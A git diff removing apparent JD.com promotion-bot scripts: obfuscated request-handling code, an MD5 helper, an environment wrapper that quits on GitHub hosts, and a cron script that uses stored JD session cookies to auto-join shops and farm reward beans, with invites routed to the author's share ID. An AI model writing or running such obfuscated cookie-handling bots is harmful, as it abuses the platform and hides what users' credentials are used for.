_0x4e1328==_0x5d59('78')){if(_0x4e1328[_0x5d59('7e')]&&_0x4e1328[_0x5d59('7e')]===!![]&&_0x4e1328[_0x5d59('7f')]){_0x4e1328=_0x4e1328[_0x5d59('7f')];if(_0x4e1328[_0x5d59('80')]&&_0x4e1328[_0x5d59('80')]==0xc8){if(_0x40bdc6!=_0x5d59('3f'))console[_0x5d59('7')](''+(_0x127c0c&&_0x127c0c+'\x3a'||'')+(_0x4e1328[_0x5d59('1a')]||_0x4e1328[_0x5d59('7f')][_0x5d59('1a')]||''));if(_0x40bdc6==_0x5d59('3f')){if(_0x4e1328[_0x5d59('7f')]&&_0x4e1328[_0x5d59('7f')][_0x5d59('81')]===!![]&&typeof _0x4e1328[_0x5d59('7f')][_0x5d59('1a')]!=_0x5d59('7b')){$[_0x5d59('30')]=_0x4e1328[_0x5d59('7f')][_0x5d59('1a')]||'';}}else if(_0x40bdc6==_0x5d59('42')){if(_0x4e1328[_0x5d59('1a')]||_0x4e1328[_0x5d59('7f')][_0x5d59('1a')]){if((_0x4e1328[_0x5d59('1a')]||_0x4e1328[_0x5d59('7f')][_0x5d59('1a')]||'')[_0x5d59('82')](_0x5d59('83'))>-0x1)$[_0x5d59('41')]=0x1;}if(_0x4e1328[_0x5d59('7f')]&&_0x4e1328[_0x5d59('7f')][_0x5d59('81')]===!![]){if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('47')]!=_0x5d59('7b'))$[_0x5d59('47')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('47')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('85')]!=_0x5d59('7b'))$[_0x5d59('85')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('85')]||![];if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('86')]!=_0x5d59('7b'))$[_0x5d59('86')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('86')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('87')]!=_0x5d59('7b'))$[_0x5d59('87')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('87')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('88')]!=_0x5d59('7b'))$[_0x5d59('88')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('88')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('89')]!=_0x5d59('7b'))$[_0x5d59('89')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('89')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('8a')]!=_0x5d59('7b'))$[_0x5d59('8a')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('8a')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('8b')]!=_0x5d59('7b'))$[_0x5d59('8b')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('8b')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('8c')][_0x5d59('3b')]!=_0x5d59('7b'))$[_0x5d59('3b')]=_0x4e1328[_0x5d59('7f')][_0x5d59('8c')][_0x5d59('3b')]||0xa;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('8c')][_0x5d59('38')]!=_0x5d59('7b'))$[_0x5d59('38')]=_0x4e1328[_0x5d59('7f')][_0x5d59('8c')][_0x5d59('38')]||0x0;}}else if(_0x40bdc6==_0x5d59('49')){$[_0x5d59('48')]=_0x4e1328[_0x5d59('7f')]||[];}else if(_0x40bdc6==_0x5d59('4e')){$[_0x5d59('4d')]=_0x4e1328[_0x5d59('1a')]||_0x4e1328[_0x5d59('7f')][_0x5d59('1a')]||'';}else if(_0x40bdc6==_0x5d59('55')){for(let _0x4645b3 of _0x4e1328[_0x5d59('7f')][_0x5d59('8d')]||[]){console[_0x5d59('7')](_0x4645b3[_0x5d59('8e')]);}}else if(_0x40bdc6==_0x5d59('56')){console[_0x5d59('7')](_0x5d59('8f')+_0x4e1328[_0x5d59('7f')][_0x5d59('90')]+'\x29');}}else if(_0x4e1328[_0x5d59('1a')]){console[_0x5d59('7')]((_0x127c0c||_0x40bdc6)+'\x20'+(_0x4e1328[_0x5d59('1a')]||''));}else{console[_0x5d59('7')]((_0x127c0c||_0x40bdc6)+'\x20'+_0x2deda4);}}else if(_0x4e1328[_0x5d59('91')]){console[_0x5d59('7')]((_0x127c0c||_0x40bdc6)+'\x20'+(_0x4e1328[_0x5d59('91')]||''));}else{console[_0x5d59('7')]((_0x127c0c||_0x40bdc6)+'\x20'+_0x2deda4);}}else{console[_0x5d59('7')]((_0x127c0c||_0x40bdc6)+'\x20'+_0x2deda4);}break;default:console[_0x5d59('7')]((title||_0x40bdc6)+_0x5d59('92')+_0x2deda4);}if(typeof _0x4e1328==_0x5d59('78')){if(_0x4e1328[_0x5d59('91')]){if(_0x4e1328[_0x5d59('91')][_0x5d59('82')]('\u706b\u7206')>-0x1){$[_0x5d59('15')]=!![];}}}}catch(_0x5c5740){console[_0x5d59('7')](_0x5c5740);}}function getPostRequest(_0x4b1188,_0x4fa991,_0x5208a8=_0x5d59('5b')){let _0x3ddade={'Accept':_0x5d59('93'),'Accept-Encoding':_0x5d59('94'),'Accept-Language':_0x5d59('95'),'Connection':_0x5d59('96'),'Content-Type':_0x5d59('97'),'Cookie':cookie,'User-Agent':$['\x55\x41'],'X-Requested-With':_0x5d59('98')};if(_0x4b1188[_0x5d59('82')](_0x5d59('5a'))>-0x1){_0x3ddade[_0x5d59('99')]=_0x5d59('5a');_0x3ddade[_0x5d59('9a')]=_0x5d59('9b');delete _0x3ddade[_0x5d59('9c')];}return{'\x75\x72\x6c':_0x4b1188,'\x6d\x65\x74\x68\x6f\x64':_0x5208a8,'\x68\x65\x61\x64\x65\x72\x73':_0x3ddade,'\x62\x6f\x64\x79':_0x4fa991,'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};}function joinShop(){if(!$[_0x5d59('50')])return;return new Promise(async _0x2a904f=>{$[_0x5d59('9d')]='';await $[_0x5d59('4a')](0x3e8);await getshopactivityId();let _0x8cb8bd='';if($[_0x5d59('9d')])_0x8cb8bd=_0x5d59('9e')+$[_0x5d59('9d')];const _0x5b313={'\x75\x72\x6c':_0x5d59('9f')+$[_0x5d59('50')]+_0x5d59('a0')+$[_0x5d59('50')]+_0x5d59('a1')+_0x8cb8bd+_0x5d59('a2'),'\x68\x65\x61\x64\x65\x72\x73':{'Content-Type':_0x5d59('a3'),'Origin':_0x5d59('a4'),'Host':_0x5d59('a5'),'accept':_0x5d59('a6'),'User-Agent':$['\x55\x41'],'content-type':_0x5d59('97'),'Cookie':cookie}};$[_0x5d59('a7')](_0x5b313,async(_0x199dd4,_0x2c6557,_0x546405)=>{try{let _0x357549=$[_0x5d59('a8')](_0x546405);if(typeof _0x357549==_0x5d59('78')){if(_0x357549[_0x5d59('7e')]===!![]){console[_0x5d59('7')](_0x357549[_0x5d59('7c')]);if(_0x357549[_0x5d59('a9')]&&_0x357549[_0x5d59('a9')][_0x5d59('aa')]){for(let _0x2b7ef0 of _0x357549[_0x5d59('a9')][_0x5d59('aa')][_0x5d59('ab')]){console[_0x5d59('7')](_0x5d59('ac')+_0x2b7ef0[_0x5d59('ad')]+_0x2b7ef0[_0x5d59('ae')]+_0x2b7ef0[_0x5d59('af')]);}}}else if(typeof _0x357549==_0x5d59('78')&&_0x357549[_0x5d59('7c')]){console[_0x5d59('7')](''+(_0x357549[_0x5d59('7c')]||''));}else{console[_0x5d59('7')](_0x546405);}}else{console[_0x5d59('7')](_0x546405);}}catch(_0x1bfb8f){$[_0x5d59('34')](_0x1bfb8f,_0x2c6557);}finally{_0x2a904f();}});});}function getshopactivityId(){return new Promise(_0x53a264=>{const _0x51740c={'\x75\x72\x6c':_0x5d59('b0')+$[_0x5d59('50')]+_0x5d59('b1'),'\x68\x65\x61\x64\x65\x72\x73':{'Content-Type':_0x5d59('a3'),'Origin':_0x5d59('a4'),'Host':_0x5d59('a5'),'accept':_0x5d59('a6'),'User-Agent':$['\x55\x41'],'content-type':_0x5d59('97'),'Cookie':cookie}};$[_0x5d59('a7')](_0x51740c,async(_0x2c5dd8,_0x43ed75,_0x1134f8)=>{try{let _0xc35223=$[_0x5d59('a8')](_0x1134f8);if(_0xc35223[_0x5d59('7e')]==!![]){console[_0x5d59('7')](_0x5d59('b2')+(_0xc35223[_0x5d59('a9')][_0x5d59('b3')][_0x5d59('b4')]||''));$[_0x5d59('9d')]=_0xc35223[_0x5d59('a9')][_0x5d59('b5')]&&_0xc35223[_0x5d59('a9')][_0x5d59('b5')][0x0]&&_0xc35223[_0x5d59('a9')][_0x5d59('b5')][0x0][_0x5d59('b6')]&&_0xc35223[_0x5d59('a9')][_0x5d59('b5')][0x0][_0x5d59('b6')][_0x5d59('b7')]||'';}}catch(_0x3a2ec3){$[_0x5d59('34')](_0x3a2ec3,_0x43ed75);}finally{_0x53a264();}});});}function getCk(){return new Promise(_0x53f636=>{let _0x3e296f={'\x75\x72\x6c':_0x5d59('b8')+$[_0x5d59('b7')]+_0x5d59('b9')+$[_0x5d59('ba')],'\x66\x6f\x6c\x6c\x6f\x77\x52\x65\x64\x69\x72\x65\x63\x74':![],'\x68\x65\x61\x64\x65\x72\x73':{'User-Agent':$['\x55\x41']},'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};$[_0x5d59('a7')](_0x3e296f,async(_0x39a4f6,_0x3dfa66,_0x51797c)=>{try{if(_0x39a4f6){if(_0x3dfa66[_0x5d59('70')]&&_0x3dfa66[_0x5d59('70')]==0x1ed){console[_0x5d59('7')](_0x5d59('3c'));$[_0x5d59('16')]=!![];}console[_0x5d59('7')](''+$[_0x5d59('71')](_0x39a4f6));console[_0x5d59('7')]($[_0x5d59('1b')]+_0x5d59('bb'));}else{setActivityCookie(_0x3dfa66);}}catch(_0x562074){$[_0x5d59('34')](_0x562074,_0x3dfa66);}finally{_0x53f636();}});});}function taskPostUrl(_0x1964a2,_0x40d7cd){var _0x54fed2=_0x5d59('bc');var _0x121f08=$[_0x5d59('1e')];var _0x13badc={'method':_0x1964a2,'userId':$[_0x5d59('20')],..._0x40d7cd};if(_0x1964a2[_0x5d59('82')](_0x5d59('3f'))==-0x1){_0x13badc={..._0x13badc,'buyerNick':$[_0x5d59('30')]};}var _0x38c432=Date[_0x5d59('44')]();var _0x395853=JSON[_0x5d59('bd')](_0x13badc);var _0x17c2d7=encodeURIComponent(_0x395853);var _0x2c8b77=new RegExp('\x27','\x67');var _0x327820=new RegExp('\x7e','\x67');_0x17c2d7=_0x17c2d7[_0x5d59('be')](_0x2c8b77,_0x5d59('bf'));_0x17c2d7=_0x17c2d7[_0x5d59('be')](_0x327820,_0x5d59('c0'));var _0x229a93=_0x54fed2+_0x5d59('c1')+_0x17c2d7+_0x5d59('1e')+_0x121f08+'\x6d'+_0x13badc[_0x5d59('c2')]+_0x5d59('c3')+_0x38c432+_0x54fed2;_0x229a93=$[_0x5d59('c4')](_0x229a93[_0x5d59('c5')]());const _0x87dcc2={'jsonRpc':_0x5d59('c6'),'params':{'commonParameter':{'appkey':$[_0x5d59('1e')],'m':_0x5d59('5b'),'sign':_0x229a93,'timestamp':_0x38c432,'userId':$[_0x5d59('20')]},'admJson':_0x13badc},'rn':Math[_0x5d59('c7')](Math[_0x5d59('4b')]()*0x64+0x1)};return $[_0x5d59('71')](_0x87dcc2,_0x87dcc2);}async function getUA(){$['\x55\x41']=_0x5d59('c8')+randomString(0x28)+_0x5d59('c9');}function randomString(_0x3d1a0f){_0x3d1a0f=_0x3d1a0f||0x20;let _0x1dd917=_0x5d59('ca'),_0xe45ca8=_0x1dd917[_0x5d59('28')],_0x389ef4='';for(i=0x0;i<_0x3d1a0f;i++)_0x389ef4+=_0x1dd917[_0x5d59('cb')](Math[_0x5d59('c7')](Math[_0x5d59('4b')]()*_0xe45ca8));return _0x389ef4;}function jsonParse(_0x15ff17){if(typeof _0x15ff17==_0x5d59('cc')){try{return JSON[_0x5d59('75')](_0x15ff17);}catch(_0x385175){console[_0x5d59('7')](_0x385175);$[_0x5d59('1a')]($[_0x5d59('1b')],'',_0x5d59('cd'));return[];}}};_0xodN='jsjiami.com.v6'; - - -function MD5(){ - // MD5 - !function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_opencard4.js b/backUp/gua_opencard4.js deleted file mode 100644 index 423afc9..0000000 --- a/backUp/gua_opencard4.js +++ /dev/null @@ -1,723 +0,0 @@ -/* -8.4-8.12 大牌联合 冰爽一夏 [gua_opencard4.js] -新增开卡脚本 -一次性脚本 - -邀请一人20豆 被邀请也有20豆(有可能没有豆 -开2组卡 每组50豆(有可能有抽到空气💨 -关注10京豆 (有可能有抽到空气💨 -加购5京豆 (默认不加购 如需加购请设置环境变量[guaopencard_addSku4]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard4="true" - -入口 -https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=8eef88dbbb5e4a11b04f222b78b195c8 - -============Quantumultx=============== -[task_local] -#8.4-8.12 大牌联合 冰爽一夏 -36 0,8 4-12 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard4.js, tag=8.4-8.12 大牌联合 冰爽一夏, enabled=true - -================Loon============== -[Script] -cron "36 0,8 4-12 8 *" script-path=gua_opencard4.js,tag=8.4-8.12 大牌联合 冰爽一夏 - -===============Surge================= -8.4-8.12 大牌联合 冰爽一夏 = type=cron,cronexp="36 0,8 4-12 8 *",wake-system=1,timeout=3600,script-path=gua_opencard4.js - -============小火箭========= -8.4-8.12 大牌联合 冰爽一夏 = type=cron,script-path=gua_opencard4.js, cronexpr="36 0,8 4-12 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.4-8.12 大牌联合 冰爽一夏'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku4 = false -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaopencard4 || process.env.guaopencard4 == "false") { - console.log('如需执行脚本请设置环境变量[guaopencard4]为"true"') - return - } - guaopencard_addSku4 = process.env.guaopencard_addSku4 - if (!process.env.guaopencard_addSku4 || process.env.guaopencard_addSku4 == "false") { - console.log('如需加购请设置环境变量[guaopencard_addSku4]为"true"') - } - } - $.shareUuid = '8eef88dbbb5e4a11b04f222b78b195c8' - console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - 